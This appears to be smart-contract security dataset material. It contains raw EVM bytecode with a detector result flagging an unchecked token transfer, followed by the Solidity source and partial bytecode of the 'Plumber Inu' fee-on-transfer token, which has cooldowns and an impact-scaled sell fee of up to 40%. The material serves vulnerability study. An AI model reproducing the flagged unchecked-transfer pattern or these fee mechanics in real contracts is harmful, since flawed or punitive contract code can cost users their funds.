0x6080604052600436106100705760003560e01c80636f2ddd931161004e5780636f2ddd93146103265780638976263d1461033b578063a994ee2d1461040c578063e5a6c28f1461042157610070565b8063417a1308146100755780634f411f7b1461026b578063565974d31461029c575b600080fd5b610269600480360361018081101561008c57600080fd5b6001600160a01b03823581169260208101359091169160ff6040830135169160608101359160808201359160a08101359160c08201359190810190610100810160e0820135600160201b8111156100e257600080fd5b8201836020820111156100f457600080fd5b803590602001918460018302840111600160201b8311171561011557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561016757600080fd5b82018360208201111561017957600080fd5b803590602001918460018302840111600160201b8311171561019a57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156101ec57600080fd5b8201836020820111156101fe57600080fd5b803590602001918460018302840111600160201b8311171561021f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550505050803515159150602001351515610448565b005b34801561027757600080fd5b506102806107f2565b604080516001600160a01b039092168252519081900360200190f35b3480156102a857600080fd5b506102b1610801565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102eb5781810151838201526020016102d3565b50505050905090810190601f1680156103185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033257600080fd5b5061028061088f565b34801561034757600080fd5b506102696004803603608081101561035e57600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b81111561039857600080fd5b8201836020820111156103aa57600080fd5b803590602001918460018302840111600160201b831117156103cb57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506108b3945050505050565b34801561041857600080fd5b506102806109f9565b34801561042d57600080fd5b50610436610a08565b60408051918252519081900360200190f35b60006104737f0000000000000000000000007c830859d184b1682e5ab7f309c7835214a1d17e610a0e565b9050806001600160a01b0316631850f7668e8e8e8e8e8e8e8e8e8e8e8e6040518d63ffffffff1660e01b8152600401808d6001600160a01b031681526020018c6001600160a01b031681526020018b60ff1681526020018a815260200189815260200188815260200187815260200180602001806020018060200186151581526020018515158152602001848103845289818151815260200191508051906020019080838360005b8381101561053357818101518382015260200161051b565b50505050905090810190601f1680156105605780820380516001836020036101000a031916815260200191505b5084810383528851815288516020918201918a019080838360005b8381101561059357818101518382015260200161057b565b50505050905090810190601f1680156105c05780820380516001836020036101000a031916815260200191505b50848103825287518152875160209182019189019080838360005b838110156105f35781810151838201526020016105db565b50505050905090810190601f1680156106205780820380516001836020036101000a031916815260200191505b509f50505050505050505050505050505050600060405180830381600087803b15801561064c57600080fd5b505af1158015610660573d6000803e3d6000fd5b5050600080546040519193506001600160a01b0316915034908381818185875af1925050503d80600081146106b1576040519150601f19603f3d011682016040523d82523d6000602084013e6106b6565b606091505b50509050806106f8576040805162461bcd60e51b815260206004820152600960248201526810ba3930b739b332b960b91b604482015290519081900360640190fd5b6001546002546040805163a9059cbb60e01b81523360048201526024810192909252516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561074f57600080fd5b505af1158015610763573d6000803e3d6000fd5b505050506040513d602081101561077957600080fd5b8101908080519060200190929190505050508c6001600160a01b03168e6001600160a01b0316836001600160a01b03167f3942e78554d7e036b934b707ed79e70c2008d3f21b21d2a992909cb56e3443238760405180821515815260200191505060405180910390a45050505050505050505050505050565b6000546001600160a01b031681565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108875780601f1061085c57610100808354040283529160200191610887565b820191906000526020600020905b81548152906001019060200180831161086a57829003601f168201915b505050505081565b7f0000000000000000000000007c830859d184b1682e5ab7f309c7835214a1d17e81565b6000546001600160a01b031633146108fc576040805162461bcd60e51b8152602060048201526007602482015266216c657844414f60c81b604482015290519081900360640190fd5b600080546001600160a01b038087166001600160a01b031992831617909255600180549286169290911691909117905560028290558051610944906003906020840190610a60565b5081836001600160a01b0316856001600160a01b03167fc16022c45ae27eef14066d63387483d5bb50365e714b01775bf4769d05470a59846040518080602001828103825283818151815260200191508051906020019080838360005b838110156109b95781810151838201526020016109a1565b50505050905090810190601f1680156109e65780820380516001836020036101000a031916815260200191505b509250505060405180910390a450505050565b6001546001600160a01b031681565b60025481565b6000808260601b9050604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528160148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f0949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610aa157805160ff1916838001178555610ace565b82800160010185558215610ace579182015b82811115610ace578251825591602001919060010190610ab3565b50610ada929150610ade565b5090565b5b80821115610ada5760008155600101610adf56fea2646970667358221220ebf9088b8c17fca8c4b6fd71114e420a37e7691a1b3356cb6c448aff4c99211e64736f6c63430007000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
6,745
0xde53709bbd582b23861431400b1cd3426b5fe48b
/** *Submitted for verification at Etherscan.io on 2021-06-22 */ /** *Submitted for verification at Etherscan.io on 2021-06-19 */ /* SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract PLUMBER is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Plumber Inu" ; string private constant _symbol = unicode"PLUMBER🔧"; uint8 private constant _decimals = 9; uint256 private _taxFee = 4; uint256 private _teamFee = 6; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 40; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(4)).div(10); _teamFee = (_impactFee.mul(6)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 4; _teamFee = 6; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (30 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 10000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (240 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b60405161016791906130da565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612bf8565b61054a565b6040516101a491906130bf565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf91906132bc565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612ba9565b610579565b60405161020c91906130bf565b60405180910390f35b34801561022157600080fd5b5061022a610652565b60405161023791906132bc565b60405180910390f35b34801561024c57600080fd5b50610255610662565b6040516102629190613331565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c86565b61066b565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612c34565b610752565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612b1b565b61084a565b6040516102f191906132bc565b60405180910390f35b34801561030657600080fd5b5061030f6108a1565b005b34801561031d57600080fd5b5061033860048036038101906103339190612b1b565b610913565b60405161034591906132bc565b60405180910390f35b34801561035a57600080fd5b50610363610964565b005b34801561037157600080fd5b5061037a610ab7565b6040516103879190612ff1565b60405180910390f35b34801561039c57600080fd5b506103a5610ae0565b6040516103b291906130da565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612bf8565b610b1d565b6040516103ef91906130bf565b60405180910390f35b34801561040457600080fd5b5061040d610b3b565b60405161041a91906130bf565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612b1b565b610b52565b60405161045791906132bc565b60405180910390f35b34801561046c57600080fd5b50610475610ba9565b005b34801561048357600080fd5b5061048c610c23565b005b34801561049a57600080fd5b506104a3610ce7565b6040516104b091906132bc565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612b6d565b610d19565b6040516104ed91906132bc565b60405180910390f35b34801561050257600080fd5b5061050b610da0565b005b60606040518060400160405280600b81526020017f506c756d62657220496e75000000000000000000000000000000000000000000815250905090565b600061055e6105576112b0565b84846112b8565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610586848484611483565b610647846105926112b0565b61064285604051806060016040528060288152602001613a1360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f86112b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4d9092919063ffffffff16565b6112b8565b600190509392505050565b600061065d30610913565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ac6112b0565b73ffffffffffffffffffffffffffffffffffffffff16146106cc57600080fd5b6033811061070f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107069061319c565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161074791906132bc565b60405180910390a150565b61075a6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de906131fc565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161083f91906130bf565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089a9190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e26112b0565b73ffffffffffffffffffffffffffffffffffffffff161461090257600080fd5b600047905061091081611db1565b50565b600061095d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eac565b9050919050565b61096c6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f0906131fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f504c554d424552f09f94a7000000000000000000000000000000000000000000815250905090565b6000610b31610b2a6112b0565b8484611483565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba29190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bea6112b0565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a57600080fd5b6000610c1530610913565b9050610c2081611f1a565b50565b610c2b6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf906131fc565b60405180910390fd5b60016014806101000a81548160ff02191690831515021790555060f042610cdf91906133a1565b601581905550565b6000610d14601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da86112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906131fc565b60405180910390fd5b60148054906101000a900460ff1615610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061327c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5957600080fd5b505afa158015610f6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f919190612b44565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff357600080fd5b505afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190612b44565b6040518363ffffffff1660e01b815260040161104892919061300c565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612b44565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112330610913565b60008061112e610ab7565b426040518863ffffffff1660e01b81526004016111509695949392919061305e565b6060604051808303818588803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a29190612caf565b505050678ac7230489e8000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125a929190613035565b602060405180830381600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ac9190612c5d565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9061325c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f9061313c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147691906132bc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061323c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155a906130fc565b60405180910390fd5b600081116115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d9061321c565b60405180910390fd5b6115ae610ab7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610ab7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8a57601460159054906101000a900460ff161561172257600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611721576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117cd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118235750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f65760148054906101000a900460ff16611875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186c9061329c565b60405180910390fd5b60046009819055506006600a81905550601460159054906101000a900460ff161561198c5742601554111561198b576010548111156118b357600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e9061315c565b60405180910390fd5b601e4261194491906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f557600f426119ae91906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0130610913565b9050601460169054906101000a900460ff16158015611a6e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a84575060148054906101000a900460ff165b15611c8857601460159054906101000a900460ff1615611b235742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b19906131bc565b60405180910390fd5b5b601460179054906101000a900460ff1615611bad576000611b4f600c548461221490919063ffffffff16565b9050611ba0611b9184611b83601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61228f90919063ffffffff16565b826122ed90919063ffffffff16565b9050611bab81612337565b505b60008111